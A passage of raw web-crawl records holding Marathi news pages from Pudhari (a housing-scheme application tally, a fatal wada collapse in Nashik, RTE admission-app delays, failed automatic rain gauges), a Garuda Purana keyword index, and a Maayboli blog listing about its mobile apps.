257 अर्ज थेट नागरिकांनी केले आहेत. यामध्ये सर्वात अधिक बेघर सधन म्हणून ओळखण्यात येणार्‍या करवीर तालुक्यात असल्याचे दिसून येते. या तालुक्यातून 22 हजार 979 लोकांचेे अर्ज आले आहेत. त्यापाठोपाठ हातकणंगले तालुक्याचा क्रमांक लागतो. या तालुक्यातून 21 हजार 50 अर्ज आले आहेत. याशिवाय आजरा तालुक्यातून 7 हजार 552, गगनबावडा 2 हजार 172, भुदरगड 13 हजार 548, चंदगड 9 हजार 254, गडहिंग्लज 11 हजार 57, कागल 13 हजार 625, पन्हाळा 11 हजार 10, राधानगरी 10 हजार 833 व शिरोळ तालुक्यातून 12 हजार 780 लोकांनी अर्ज केले आहेत.\nया अर्जांची अद्याप छाननी करावयाची आहे. अर्जदाराच्या नावावर घर नसावे व लाभ घेणार्‍याच्या नावावर जागा असणे आवश्यक आहे. या दोन मुख्य अटी या योजनेसाठी आहेत. पात्र ठरणार्‍या लाभार्थ्यांना 1 लाख 20 हजार रुपये टप्प्याटप्प्याने अनुदान दिले जाते. बांधकाम साहित्याचे वाढलेले दर लक्षात घेता यामध्ये वाढ करण्याची मागणी होत आहे. गेल्या तीन वर्षात शासनाने निश्‍चित केलेल्या लाभार्थींची संख्या साधारणपणे 33 हजार इतकी आहे. यातील जवळपास निम्मे लोक अजूनही वेटिंगवर आहेत. असे असताना 15 ऑगस्टपर्यंत नागरिकांकडून मागविण्यात आलेल्या अर्जांची संख्या दीड लाख इतकी आहे. या लोकांना लाभ कधी मिळणार, असा सवाल उपस्थित करण्यात येत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Wada-collapse-Death-of-two-in-nashik/", "date_download": "2018-09-25T17:17:59Z", "digest": "sha1:EVG7FQ5OYF4RMCWEZCGDPZRZSQE62HEI", "length": 13400, "nlines": 45, "source_domain": "www.pudhari.news", "title": " वाडा कोसळून दोघांचा मृत्यू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › वाडा कोसळून दोघांचा मृत्यू\nवाडा कोसळून दोघांचा मृत्यू\nजुने नाशिकमधील जुनी तांबट गल्ली येथील दुमजली काळे वाडा कोसळून ढिगार्‍याखाली दबलेल्या दोन युवकांचा मृत्यू, तर अन्य तिघे जखमी झाल्याची घटना रविवारी (दि.5) दुपारी एकच्या सुमारास घडली. समर्थ संजय काळे (21) आणि करण राजेश घोडके (21, दोघे रा. जुनी तांबट गल्ली) असे मृत झालेल्या युवकांची नावे आहेत. सुमारे पाच तासांच्या बचावकार्यानंतर ढिगार्‍याखाली फसलेल्या पाचही जणांना बाहेर काढण्यात आले. जखमींवर जिल्हा शासकीय रुग्णालयात उपचार सुरू आहेत. संजय काळे (60), काजल संजय काळे (19) आणि चेतन पवार (21) अशी जखमींची नावे आहेत. या घटनेमुळे शहरातील जुन्या वाड्यांचा प्रश्‍न पुन्हा ऐरणीवर आला असून, पालकमंत्री गिरीश महाजन यांनी धोकादायक वाड्यांचे सर्वेक्षण करून ते खाली करण्याचे आदेश मनपा प्रशासनास दिले आहेत.\nजुनी तांबट गल्लीच्या मागील बाजूस असलेल्या म्हसरुळ टेक येथे अतुल काळे यांचा वाडा असून, त्यात अनेक वर्षांपासून काळे कुटुंबीय राहतात. वाड्यातील भिंतीतून माती पडत असल्याची बाब काळे कुटुंबीयांच्या लक्षात आली. त्यामुळे त्यांनी वाड्यातील संसारोपयोगी वस्तू बाहेर काढण्याचा निर्णय घेतला. त्यानुसार रविवारी काळे कुटुंबीय आणि मित्रपरिवार घरातील संसारोपयोगी वस्तू काढत होते. दुपारी एकच्या सुमारास वाडा अचानक कोसळला. त्याखाली पाचही व्यक्‍ती दबल्या गेल्या. याची माहिती अग्निशमन दलास समजताच तातडीने शिंगाडातलाव येथील कर्मचारी हॅजमेट रेस्क्यू व्हॅन, अति जलद प्रतिसाद वाहनाने घटनास्थळी निघाले.\nतसेच, पंचवटी उपकेंद्र आणि कोणार्कनगर उपविभागीय मुख्यालयातूनही रेस्क्यू व्हॅनसह जवान मदतकार्यासाठी घटनास्थळी पोहोचले. मात्र, जुन्या नाशिकमधील अरुंद रस्त्यांमुळे अग्निशामक दलाची गाडी म्हसरुळ टेकपर्यंत पोहोचली नाही. त्यामुळे शंभर मिटरवर असलेल्या शिवाजी चौकात वाहने उभी करून कर्मचार्‍यांनी ढिगार्‍याखाली दबलेल्या रहिवाशांना बाहेर काढण्यासाठी रेस्क्यू ऑपरेशन सुरु केले. लिफ्टिंग बॅग, इलेक्ट्रॅनिक कटर, सिमेंट कटर, वुडकटरच्या माध्यमातून बचावकार्याला सुरूवात करण्यात आली. तब्बल तीन तासांच्या प्रयत्नांनंतर संजय काळे (60) व चेतन पवार (22) यांना बाहेर काढण्यात यश आले. त्यानंतर सायंकाळी पाच वाजेपर्यंत समर्थ, करण आणि काजल या तिघांनाही बाहेर काढले. जखमींना तातडीने जिल्हा रुग्णालयात दाखल केले तर समर्थला खासगी रुग्णालयात दाखल केले होते. मात्र, करणचा घटनास्थळीच मृत्यू झाला तर उपचारादरम्यान समर्थचाही मृत्यू झाला.\nदरम्यान, या घटनेची माहिती मिळताच पालकमंत्री गिरीश महाजन, महापौर रंजना भानसी, जिल्हाधिकारी राधाकृष्णन बी., आ.देवयानी फरांदे, आ. बाळासाहेब सानप, महापालिका आयुक्‍ततुकाराम मुंढे यांनी घटनास्थळी धाव घेत पाहणी केली. स्थानिक नागरिक व पोलिसांच्या मदतीने अग्निशामक दलाने पाच तासांच्या प्रयत्नांनंतर रेस्क्यू ऑपरेशन पूर्ण केले. यात एस. के. बैरागी, डी. बी. गायकवाड, जे. एस. अहिरे, आर. एस. नाइक, टी. आय. शेख, एम. एम. शेख, एस. एस. आगलागे आदी कर्मचार्‍यांचा समावेश होता.\nजुने नाशिकमधील तांबट गल्ली ते म्हसरुळ टेक या परिसरात अत्यंत अरुंद रस्ते, दाट लोकवस्ती, बघ्यांची झालेली गर्दी यामुळे अग्निशामक दलास मदतकार्य करताना अनेक अडथळे आले. मुख्य रस्त्यावरुन रेस्क्यू व्हॅन पोहचत नसल्यामुळे पर्यायी रस्त्याने वाहने वळविण्यात आली.\nमनपाचे साहित्य ठरले निष्फळ\nमहापालिकेच्या अग्निशामक पथकाने तातडीने मदतकार्य सुरु केले. मात्र, यासाठी वापरात येणारे साहित्य निष्फळ ठरले. काळे वाडा कोसळल्यानंतर तेथे शिरण्यासाठी जागा नव्हती. पाठीमागील दरवाजाचे कुलूप आणि साखळी तोडण्यासाठी कर्मचार्‍यांनी पेट्रोल कटरचा वापर केला. मात्र, त्यातून साखळी तुटली नाही. अखेर स्थानिक फेब्रीकेशन काम करणारे इम्रान अन्सारी यांच्याकडील गॅस कटरचा वापर करून दरवाजा तोडून कर्मचारी आतमध्ये शिरले व बचावकार्यास सुरुवात केली.\nघटनेची माहिती समजताच पालकमंत्री गिरीश महाजन आणि मनपा आयुक्‍त तुकाराम मुंढे यांच्यासह इतर अधिकारी व लोकप्रतिनिधींनी घटनास्थळी धाव घेतली. त्यावेळी पालकमंत्री महाजन आणि आयुक्‍त मुंढे यांनी स्वत: बचाव कार्यात सहभागी होत मदत केली.\nतर जीवितहानी टळली असती...\nवाडा कोसळत असल्याची माहिती अग्निशमन दलास 12.30 च्या सुमारास कळवण्यात आली. त्यानुसार विभागाच्या चार कर्मचार्‍यांनी तातडीने वाड्याची पाहणी केली. त्यावेळी वाड्यातील दगड कोसळत असल्याने कर्मचार्‍यांनी काळे कुटूंबियांसह त्यांच्या मित्रांना तातडीने बाहेर पडण्याचे आदेश दिले. त्यानुसार चार कर्मचारी आणि परिसरातील 7 नागरिक लगेच बाहेर आले. मात्र खालील मजल्यावर काळे कुटूंबिय आणि चेतन व करण हे पाच जण साहित्य काढत होते. सर्व कर्मचारी बाहेर आल्यानंतर त्यांनी वाड्याकडे पाहिले. मात्र काही क्षणातच सर्वांच्या डोळ्यासमोर वाडा कोसळला आणि त्याखाली दबून समर्थ आणि करणचा मृत्यू झाला. अग्निशमन दलाच्या जवानांनी दिलेली धोक्याची सूचना वेळीच पाळली असती तर जिवितहानी टळली असती, अशी हळहळ व्यक्‍त होत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/The-RTE-Entrance-Mobile-app-will-start-in-two-days/", "date_download": "2018-09-25T17:00:07Z", "digest": "sha1:LWOAG6DA6YP3JG6PCHDQK537R7HIESMX", "length": 6831, "nlines": 35, "source_domain": "www.pudhari.news", "title": " ‘आरटीई’ प्रवेशाचे मोबाईल ‘अ‍ॅप’ दोन दिवसांमध्ये होणार सुरू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › ‘आरटीई’ प्रवेशाचे मोबाईल ‘अ‍ॅप’ दोन दिवसांमध्ये होणार सुरू\n‘आरटीई’ प्रवेशाचे मोबाईल ‘अ‍ॅप’ दोन दिवसांमध्ये होणार सुरू\nराज्यात शिक्षण हक्‍क कायद्यानुसार दुर्बल व वंचित घटकांसाठी आरटीई प्रवेश प्रक्रियेचे अर्ज भरण्यास शनिवार दि. 10 पासून सुरुवात झाली खरी; परंतु काही तांत्रिक कारणास्तव अर्ज भरण्यास पालकांना अडचणी निर्माण झाल्या आहेत. यासंदर्भात प्राथमिकचे उपसंचालक शरद गोसावी यांनी प्रवेश प्रक्रियेतील तांत्रिक अडचणी दूर करून प्रवेश प्रक्रिया सुरळीत सुरू असल्याचे सांगितले. तसेच येत्या दोन दिवसांमध्ये आरटीई प्रवेशासाठीचे मोबाईल ‘अ‍ॅप’ सुरू करणार असल्याची माहिती दिली.\nबोगस आरटीई प्रवेशाला आळा बसावा यासाठी आरटीई प्रवेशाचा अर्ज भरताना उत्पन्नाच्या दाखल्याचा ऑनलाइन तसेच ऑफलाइन नंबर देणे बंधनकारक करण्यात आले आहे. कारण हा दाखला महाऑनलाईनमार्फत आधारलिंक करण्यात येत आहे; परंतु आरटीई प्रवेशासाठी सुरू करण्यात येणार्‍या मोबाईल ‘अ‍ॅप’मध्ये तांत्रिक कारणास्तव उत्पन्नाचा दाखला आधार लिंक करत असताना अडचणी निर्माण होत आहेत; त्यामुळे मोबाईल ‘अ‍ॅप’मधील तांत्रिक अडचणी सोडविण्यास होणारा विलंब पाहता अगोदर प्रवेश प्रक्रिया सुरू करावी व नंतर मोबाईल अ‍ॅप सुरू करण्याचे ठरविण्यात आल्याचेदेखील गोसावी यांनी सांगितले.\nदरम्यान, आरटीई प्रवेशासाठी अर्ज भरताना अनेक जाचक अटी घालण्यात आल्या आहेत. यामध्ये विधवांच्या पाल्यांसाठी उत्पन्नाचा दाखला वडिलांचा मागितला आहे. अर्जामध्ये उत्पन्नाच्या दाखल्याचा क्रमांक नमूद करण्याचा पर्यायच दिसत नाही. एससी प्रवर्गाचादेखील पर्याय दिसत नाही. तसेच अर्ज भरल्यानंतर तो सबमिट होत नसल्याची पालकांची तक्रार आहे. अशा प्रकारच्या जाचक अटी, तसेच त्रुटी दूर कराव्यात, अशी मागणी महाराष्ट्र नवनिर्माण विद्यार्थी सेनेचे शहराध्यक्ष कल्पेश यादव यांनी प्राथमिक विभागाच्या शिक्षण संचालकांना केली आहे. साधारण 28 फेब्रुवारीपर्यंत पालकांना अर्ज भरण्याची संधी देण्यात येणार आहे. त्यानंतर मार्चच्या पहिल्या आठवड्यात लॉटरी काढण्यात येणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Turn-off-the-weather-forecasting-system/", "date_download": "2018-09-25T16:58:13Z", "digest": "sha1:WDAKR56QJGTU4R6EXV6MRLJVZBM3ZZ2D", "length": 7396, "nlines": 37, "source_domain": "www.pudhari.news", "title": " हवामानाचा अंदाज देणारी स्वयंचलित यंत्रणा बंद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › हवामानाचा अंदाज देणारी स्वयंचलित यंत्रणा बंद\nहवामानाचा अंदाज देणारी स्वयंचलित यंत्रणा बंद\nहवामानाचा अचूक अंदाज शेतकर्‍यांना मिळावा, यासाठी महावेध प्रकल्पाअंतर्गत पावसाची नोंद घेण्यासाठी स्वयंचलित यंत्रणा (रेन गेज) कार्यान्वित करण्यात आली; मात्र महसूल विभागाकडून पावसाची माहिती पूर्वीप्रमाणेच संकलित केली जात आहे. कृषी विभागाकडून ही यंत्रणा कार्यान्वित असल्याचा दावा केला जात असला तरी महसूल विभागाकडून मात्र ही यंत्रणा बंद असल्याचे सांगण्यात येत आहे. कृषी आणि महसूल विभागातील हा विरोधाभास शेतकर्‍यांमध्ये संभ्रम निर्माण करीत आहे.\nहवामानाची अचूक माहिती मिळत नसल्यामुळे शेतकर्‍यांना सातत्याने पावसात पडणारा प्रदीर्घ खंड, दुबार पेरणीचे संकट, त्यासोबतच अवकाळी पावसामुळे होणारी नासाडी, अशा अनेक संकटांचा सामना करावा लागतो. हे टाळण्यासाठी कृषी विभाग आणि ‘स्कायमेट वेदर सर्व्हिसेस’ यांच्या संयुक्‍त विद्यमाने राज्यात स्वयंचलित हवामान केंद्रे सुरू करण्यात आली. या स्वयंचलित यंत्रणेच्या साहाय्याने तापमान, पर्जन्यमान, सापेक्ष आर्द्रता, वार्‍याचा वेग आणि दिशा या हवामानविषयक घटकांची माहिती मोबाइलवर उपलब्ध होईल, असे सांगण्यात आले होते. या योजनेअंतर्गत राज्यातील 355 तालुक्यांतील 2065 महसूल मंडळांपैकी 2060 ठिकाणी पावसाची नोंद घेणारी स्वयंचलित यंत्रणा बसविण्यात आली. या यंत्रणेच्या माध्यमातून दर दहा मिनिटांनी शेतकर्‍यांना हवामानाचा अंदाज उपलब्ध होणार होता. मात्र, ऐन पावसाळ्यातच यंत्रणेत बिघाड झाल्यामुळे ती सध्या बंद पडली आहे. शेतकर्‍यांचे नुकसान टाळण्यासाठी स्वयंचलित यंत्रणा कार्यान्वित करणारे महाराष्ट्र देशातील पहिले राज्य ठरल्याचा दावा सरकारकडून करण्यात आला होता. मात्र, सध्या तरी सरकारचा हा दावा फोल ठरला आहे.\nपाच ठिकाणी जागा उपलब्ध नाही\nराज्यातील सर्व महसूल मंडळांत स्वयंचलित हवामान केंद्रे उभारण्यात आली असून, यामध्ये सर्वाधिक 101 केंद्रे यवतमाळ जिल्ह्यात आहेत. त्यानंतर पुणे जिल्ह्यात 100, सोलापूर 91, नाशिक 92, बुलढाणा 90, सातारा 91, अहमदनगरमध्ये 97 केंद्रे आहेत. तर गडचिरोली 40, चंद्रपूर 50, गोंदिया 25, वर्धा 47 आणि नागपूर जिल्ह्यातील 70 केंद्रांचा यात समावेश आहे. यातील पाच मंडळांमध्ये जागा उपलब्ध न झाल्याने ही यंत्रणा कार्यान्वित झाली नाही, त्यात पुणे शहरातील दोन ठिकाणांचा समावेश आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%97%E0%A4%B0%E0%A5%82%E0%A4%A1.%E0%A4%AA%E0%A5%81%E0%A4%B0%E0%A4%BE%E0%A4%A3/word", "date_download": "2018-09-25T17:24:24Z", "digest": "sha1:AQFES3RUYLJ2STIWUXIQ4LODH3AJAUQO", "length": 12330, "nlines": 114, "source_domain": "www.transliteral.org", "title": "Keyword - गरूड पुराण", "raw_content": "\n'डांबिस' हा शब्द मराठी कि कुठल्या भाषेतून आलाय त्याचा अर्थ किंवा उगम कोणता\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः २\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ३\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ४\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ५\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ६\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ७\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ८\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ९\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १०\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः ११\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १२\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १३\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १४\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १५\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १६\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १७\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १८\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nआचारकाण्डः - अध्यायः १९\nविष्णू पुराणाचा एक भाग असलेल्या गरूड पुराणात मृत्यूनंतरच्या स्थितीबद्दलची चर्चा आहे, शिवाय श्रद्धाळू हिंदू धर्मीयांमध्ये मृत्यूनंतर जी विविध क्रिया क..\nदेवाच्या दानपेटीत पैसे का टाकतात आणि देवाला नैवेद्य का दाखवतात\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/blog", "date_download": "2018-09-25T16:44:35Z", "digest": "sha1:Q7KF2MFSBQO2P2CTMUCB3RIWMJBT4SHW", "length": 11728, "nlines": 268, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "रंगीबेरंगी | Maayboli", "raw_content": "\nमायबोली आयओएस अ‍ॅप प्रकाशीत झाले.\nमायबोलीचे अँड्रॉईड अ‍ॅप प्रकाशीत झाल्या दिवसापासून , iOS अ‍ॅप कधी येणार अशी विचारणा सुरू होती.\nआजपासून मायबोलीचे ios अ‍ॅप, अ‍ॅपल अ‍ॅपस्टोअरमधे सगळ्यांंसाठी उपलब्ध आहे.\nRead more about मायबोली आयओएस अ‍ॅप प्रकाशीत झाले.\nAdmin-team यांचे रंगीबेरंगी पान\nमायबोलीवर जवळ जवळ वर्षाने येतोय.अजूनही माझी ID जिवंत आहे ही पाहुन आनंद झाला. त्या आनंदाच्या भरात लगे हाथ हे चित्र पोस्ट करतोय .\nपाटील यांचे रंगीबेरंगी पान\n\"घायल\" - एका सळसळत्या रक्ताने घेतलेल्या सुडाची कथा.\nRead more about \"घायल\" - एका सळसळत्या रक्ताने घेतलेल्या सुडाची कथा.\nदक्षिणा यांचे रंगीबेरंगी पान\n\"उजाले उनकी यादों के....\"\nकाही गोष्टी, आठवणी, वस्तू अक्षरश: आपलं आयुष्य घडवतात. आणि अंशी आयुष्य बनूनच राहतात.\nसाधारण तेरा चौदा वर्षापुर्वीची आठवण असेल. मी आणि माझी मैत्रीण एक अतिशय छोटी सदनिका भाडे तत्वावर घेऊन रहात होतो. आमच्या कडे टिव्ही नव्हता. मोबाईल तर तेव्हा फक्त बोलणे यासाठीच वापरात होता किंवा फारतर त्यावर एफ एम रेडिओ चालत असे. विरंगुळ्याचे असे साधन म्हणजे फक्त एक म्युझिक सिस्टिम होती आणि काही मोजक्या सीडीज. त्या उप्पर सतत सुरू असे ते म्हणजे आकाशवाणी पुणे केंद्र (१०१.१)\nदक्षिणा यांचे रंगीबेरंगी पान\nनवीन लेखन दाखवण्यासाठी काही छोटे बदल\nमोबाईल वरून मायबोली पाहणे अजून सोपे होण्यासाठी,नवीन लेखन दाखवण्याच्या सुविधेत काही छोटे बदल केले आहेत.\nRead more about नवीन लेखन दाखवण्यासाठी काही छोटे बदल\nAdmin-team यांचे रंगीबेरंगी पान\nमायबोली अँड्रॉईड अ‍ॅप प्रकाशीत झाले.\n२०१७ मधे मायबोलीची मोबाईल सुलभ आवृती प्रकाशीत झाल्यापासून , मोबाईलवरून मायबोलीवर येणार्‍यांची संख्या प्रकर्षाने वाढली आहे. मायबोलीचे अ‍ॅप असावे अशी सुचना बर्‍याच मायबोलीकरांकडून येत असते. यावर बरेच दिवस काम सुरु होते.\nमायबोलीचे अँड्रोईड अ‍ॅप आजपासून गुगल प्ले स्टोअर मधे सर्वांसाठी उपलब्ध आहे.\nRead more about मायबोली अँड्रॉईड अ‍ॅप प्रकाशीत झाले.\nAdmin-team यांचे रंगीबेरंगी पान\nमायबोली अँड्रॉईड अ‍ॅपची खुली चाचणी (open Beta testing)\n२०१७ मधे मायबोलीची मोबाईल सुलभ आवृती प्रकाशीत झाल्यापासून , मोबाईलवरून मायबोलीवर येणार्‍यांची संख्या प्रकर्षाने वाढली आहे. मायबोलीचे अ‍ॅप असावे अशी सुचना बर्‍याच मायबोलीकरांकडून येत असते. यावर बरेच दिवस काम सुरु होते. मायबोलीचे अँड्रोईड अ‍ॅप आजपासून खुल्या चाचणीसाठी (open Beta testing) खालील ठिकाणी उपलब्ध आहे.\nRead more about मायबोली अँड्रॉईड अ‍ॅपची खुली चाचणी (open Beta testing)\nAdmin-team यांचे रंगीबेरंगी पान\nकेदार१२३ यांचे रंगीबेरंगी पान\nशिवसहस्त्र नामावलीतील 'चंद्रमौळी' या तेराव्या नावाचा महिमा अनुभण्याचा योग आला तो गेल्या वर्षीच्या माघ कृष्ण सप्तमीला.. सह्याद्रीच्या खांद्यावर ध्यानस्थ बसलेल्या लिंगाण्याच ते दुर्गम रुप म्हणजे तालमीतल्या मातीत रंगलेला मल्लंच जणू... त्याच्या कातील धारेवरिल चढाईतील जरब इतकी की, शड्डू ठोकत आव्हान देणार आखाड्यातला नरविरच भासावा... घोटीव शरिरबंधावर रुंद कपाळीचा कडा, वार्‍यालाही थारा न देणारा निमुळता माथा आणि त्यावर झळकणारी सप्त्मीची चंद्रकला... वाह\nइंद्रधनुष्य यांचे रंगीबेरंगी पान\n'चले जाव' - गांधीजींची तीन भाषणे\nRead more about 'चले जाव' - गांधीजींची तीन भाषणे\nचिनूक्स यांचे रंगीबेरंगी पान\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00291.warc.wet.gz", "language": "mr", "language_score": 